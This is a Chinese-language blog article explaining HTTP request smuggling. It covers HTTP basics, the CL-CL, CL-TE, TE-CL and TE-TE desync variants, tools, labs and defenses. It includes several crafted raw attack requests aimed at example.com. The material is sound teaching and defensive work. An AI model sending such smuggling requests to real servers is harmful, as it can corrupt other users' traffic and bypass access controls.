专栏首页ffffffff0x[ffffffff0x] 浅析 HTTP Smuggling 攻击
原创

[ffffffff0x] 浅析 HTTP Smuggling 攻击

前言

由于各种各样的原因,各网站通常使用多级代理模式对外开放Web服务,如CDN、Nginx代理等。HTTP/1.1 版本倾向于使用keep-alive长连接进行通信,提高前后端之间的通讯效率。也就是说多个人的流量可能会在前后端之间的同一个tcp会话中传输,另外前后端对于Content-Length和Transfer-Encoding的解析处理方法不同,有可能造成请求污染的情况,直接导致HTTP Smuggling攻击的出现。


从http协议说起

HTTP是一种无状态的、应用层的、以请求/应答方式运行的协议,它使用可扩展的语义和自描述消息格式,与基于网络的超文本信息系统灵活的互动。

HTTP协议工作于客户端-服务端架构之上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后,向客户端发送响应信息。

浏览器发送消息给网址所在的服务器,这个过程就叫做 HTTP Request,服务器收到浏览器发送的消息后,能够根据浏览器发送消息的内容,做相应的处理,然后把消息回传给浏览器,这个过程就是 HTTP Response,浏览器收到服务器的 Response 信息后,会对信息进行相应的处理,然后展示。

HTTP 请求报文由3部分组成(请求行+请求头+请求体):

下面是一个实际的请求报文:

  • ① 是请求方法,GET 和 POST 是最常见的 HTTP 方法,除此以外还包括 DELETE、HEAD、OPTIONS、PUT、TRACE。不过,当前的大多数浏览器只支持 GET 和 POST,Spring 3.0 提供了一个 HiddenHttpMethodFilter ,允许你通过“_method”的表单参数指定这些特殊的 HTTP 方法(实际上还是通过 POST 提交表单)。服务端配置了 HiddenHttpMethodFilter 后,Spring 会根据 _method 参数指定的值模拟出相应的 HTTP 方法,这样,就可以使用这些 HTTP 方法对处理方法进行映射了。
  • ② 为请求对应的 URL 地址,它和报文头的 Host 属性组成完整的请求 URL,
  • ③ 是协议名称及版本号。
  • ④ 是 HTTP 的报文头,报文头包含若干个属性,格式为“属性名:属性值”,服务端据此获取客户端的信息。
  • ⑤ 是报文体,它将一个页面表单中的组件值通过 param1=value1&param2=value2 的键值对形式编码成一个格式化串,它承载多个请求参数的数据。不但报文体可以传递请求参数,请求 URL 也可以通过类似于“/chapter15/user.html? param1=value1¶m2=value2”的方式传递请求参数。

对照上面的请求报文,我们把它进一步分解,你可以看到一幅更详细的结构图:

以下是几个常见的状态码

  • 200 OK
  • 400 Bad Request
  • 401 Unauthorized
  • 403 Forbidden
  • 404 Not Found
  • 500 Internal Server Error
  • 503 Server Unavailable

以下是几个常见的请求头

  • Content-Encoding :WEB 服务器表明自己使用了什么压缩方法(gzip,deflate)压缩响应中的对象。例如:Content-Encoding:gzip
  • Content-Language :WEB 服务器告诉浏览器自己响应的对象的语言。
  • Content-Length : WEB 服务器告诉浏览器自己响应的对象的长度。例如:Content-Length: 26012
  • Connection :请求:close(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,断开连接,不要等待本次连接的后续请求了)。keepalive(告诉 WEB 服务器或者代理服务器,在完成本次请求的响应后,保持连接,等待本次连接的后续请求)。

这些HTTP协议的基本组成是构成HTTP Smuggling利用的根本。

漏洞产生的原因

HTTP Request Smuggling最初是由WatchFire1于2005年记录下来的,由于难以利用和危害性无法控制,该问题一直处于被忽略的状态。直到2019年的BlackHat USA 上,PortSwigger的James Kettle在他的议题——HTTP Desync Attacks: Smashing into the Cell Next Door中提出了一套较为完善的利用流程,这个漏洞才被人熟知。

上面我们说到了HTTP协议的基本原理,其中一个HTTP请求中可以有多种方式来指定消息的长度,比如:Content-Length、Transfer-Encoding。

但是当一个请求中同时出现了2种方法,就会发生一些问题。HTTP规范(RFC2616)中定义,如果接收的消息同时包含传输编码头字段(Transfer-Encoding)和内容长度头(Content-Length)字段,则必须忽略后者。然而,后端服务器有自己的想法,它会同时处理。

几种走私请求利用方法

CL不为0的GET请求

假设前端代理服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n

GET / secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器收到该请求,通过读取Content-Length,判断这是一个完整的请求,然后转发给后端服务器,而后端服务器收到后,因为它不对Content-Length进行处理,由于Pipeline的存在,它就认为这是收到了两个请求,分别是

GET / HTTP/1.1\r\n
Host: example.com\r\n
GET / secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL

假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理,这样便有可能引发请求走私。

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

中间代理服务器获取到的数据包的长度为8,将上述整个数据包原封不动的转发给后端的源站服务器,而后端服务器获取到的数据包长度为7。当读取完前7个字符后,后端服务器认为已经读取完毕,然后生成对应的响应,发送出去。而此时的缓冲区去还剩余一个字母a,对于后端服务器来说,这个a是下一个请求的一部分,但是还没有传输完毕。此时恰巧有一个其他的正常用户对服务器进行了请求,假设请求如下所示。

GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

从前面我们也知道了,代理服务器与源站服务器之间一般会重用TCP连接。

这时候正常用户的请求就拼接到了字母a的后面,当后端服务器接收完毕后,它实际处理的请求其实是

aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

这时候用户就会收到一个类似于aGET request method not found的报错。这样就实现了一次HTTP走私攻击,而且还对正常用户的行为造成了影响,而且后续可以扩展成类似于CSRF的攻击方式。

CL-TE

所谓CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length这一请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding这一请求头。

chunk传输数据格式如下,其中size的值由16进制表示。

[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

此时恶意攻击者可以构造一个特殊的请求

POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
G

由于前端服务器处理Content-Length,所以这个请求对于它来说是一个完整的请求,请求体的长度为6,也就是

0\r\n
\r\n
G

当请求包经过代理服务器转发给后端服务器时,后端服务器处理Transfer-Encoding,当它读取到0\r\n\r\n时,认为已经读取到结尾了,但是剩下的字母G就被留在了缓冲区中,等待后续请求的到来。当我们重复发送请求后,发送的请求在后端服务器拼接成了类似下面这种请求。

GPOST / HTTP/1.1\r\n
Host: example.com\r\n
......

TE-CL

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。

构造数据包

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

由于前端服务器处理Transfer-Encoding,当其读取到0\r\n\r\n时,认为是读取完毕了,此时这个请求对代理服务器来说是一个完整的请求,然后转发给后端服务器,后端服务器处理Content-Length请求头,当它读取完12\r\n之后,就认为这个请求已经结束了,后面的数据就认为是另一个请求了,也就是

GPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

TE-TE

TE-TE,也很容易理解。当收到存在两个请求头的请求包时,前后端服务器都处理Transfer-Encoding请求头,这确实是实现了RFC的标准。不过前后端服务器毕竟不是同一种,因而我们可以对发送的请求包中的Transfer-Encoding进行某种混淆操作,从而使其中一个服务器不处理Transfer-Encoding请求头。从某种意义上还是CL-TE或者TE-CL。

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

辅助工具

PortSwigger已经开发出可以用于检测HTTP Smuggling问题的burp扩展,虽然误报几率较高,但可以参考其实现的方法。

靶场

同时推荐使用PortSwigger提供的在线靶场进行漏洞复现。

如何防御

从前面的案例中可以看出HTTP请求走私的危害性,通用的防御措施有以下几种:

  • 禁用代理服务器与后端服务器之间的TCP连接重用。
  • 使用HTTP/2协议。
  • 前后端使用相同的服务器。
  • 前/后端服务器拒绝歧义请求。

总结

部分防护措施并不能从根本上解决问题,甚至会带来一些弊端。例如禁用代理服务器和后端服务器之间的TCP连接重用,会加大后端服务器的负载,而全面使用HTTP/2在现在也无法实现。从本质上讲,请求走私问题仍需从服务器方面去解决,严格按照RFC7230-7235的规定标准进行实施。

参考链接


本文作者 r0fus0d

原创声明,本文系作者授权云+社区发表,未经许可,不得转载。

如有侵权,请联系 yunjia_community@tencent.com 删除。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Web Security 之 HTTP request smuggling

    在本节中,我们将解释什么是 HTTP 请求走私,并描述常见的请求走私漏洞是如何产生的。

    凌虚
  • 浅析HTTP走私攻击

    如今攻击手段日益层出不穷,令企业防不胜防,因此企业不能再以原有的防守思维去防守。基于攻击者的视角,了解攻击者的攻击手法才能更好地做好防守。本次介绍的是攻击者常用...

    C4rpeDime
  • SSRF攻击姿势汇总

    这是很早就整理的笔记,今天想起来发到博客上,还是要保持写文章总结的习惯啊。 最近笔者在看讲SSRF、protocol smuggle、HTTP request ...

    C4rpeDime
  • BurpSuite中的安全测试插件推荐

    ? 首先放出一张小编一直在用的几个插件~ 0x00 前言 ? 0x01 AuthMatrix AuthMatrix是一款用于检测越权漏洞的Burp ...

    用户1467662
  • 浅析DDoS攻击与CC攻击的区别

    随着互联网的兴起,各种网络攻击也随之日益频繁,各种恶意网络攻击给许多企业带来口碑、以及财务的巨大损失。近几年,最常见的网络攻击手段主要是DDoS攻击与CC攻击。

    墨者安全科技
  • 浅析无文件攻击

    在信息安全领域中,“无文件攻击”属于一种影响力非常大的安全威胁。攻击者在利用这种技术实施攻击时,不会在目标主机的磁盘上写入任何的恶意文件,因此而得名“无文件攻击...

    FB客服
  • RPO攻击技术浅析

    ? ? 01 — 什么是RPO攻击? RPO(Relative Path Overwrite)相对路径覆盖,是一种新型攻击技术,最早由GarethHeyes在...

    xfkxfk
  • 浅析Punycode钓鱼攻击

    网络钓鱼(Phishing,与钓鱼的英语fishing发音相近,又名钓鱼法或钓鱼式攻击)是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信...

    FB客服
  • 协议层的攻击——HTTP请求走私

    最近在学习研究BlackHat的议题,其中有一篇议题——"HTTP Desync Attacks: Smashing into the Cell Next Do...

    知道创宇云安全

扫码关注云+社区

领取腾讯云代金券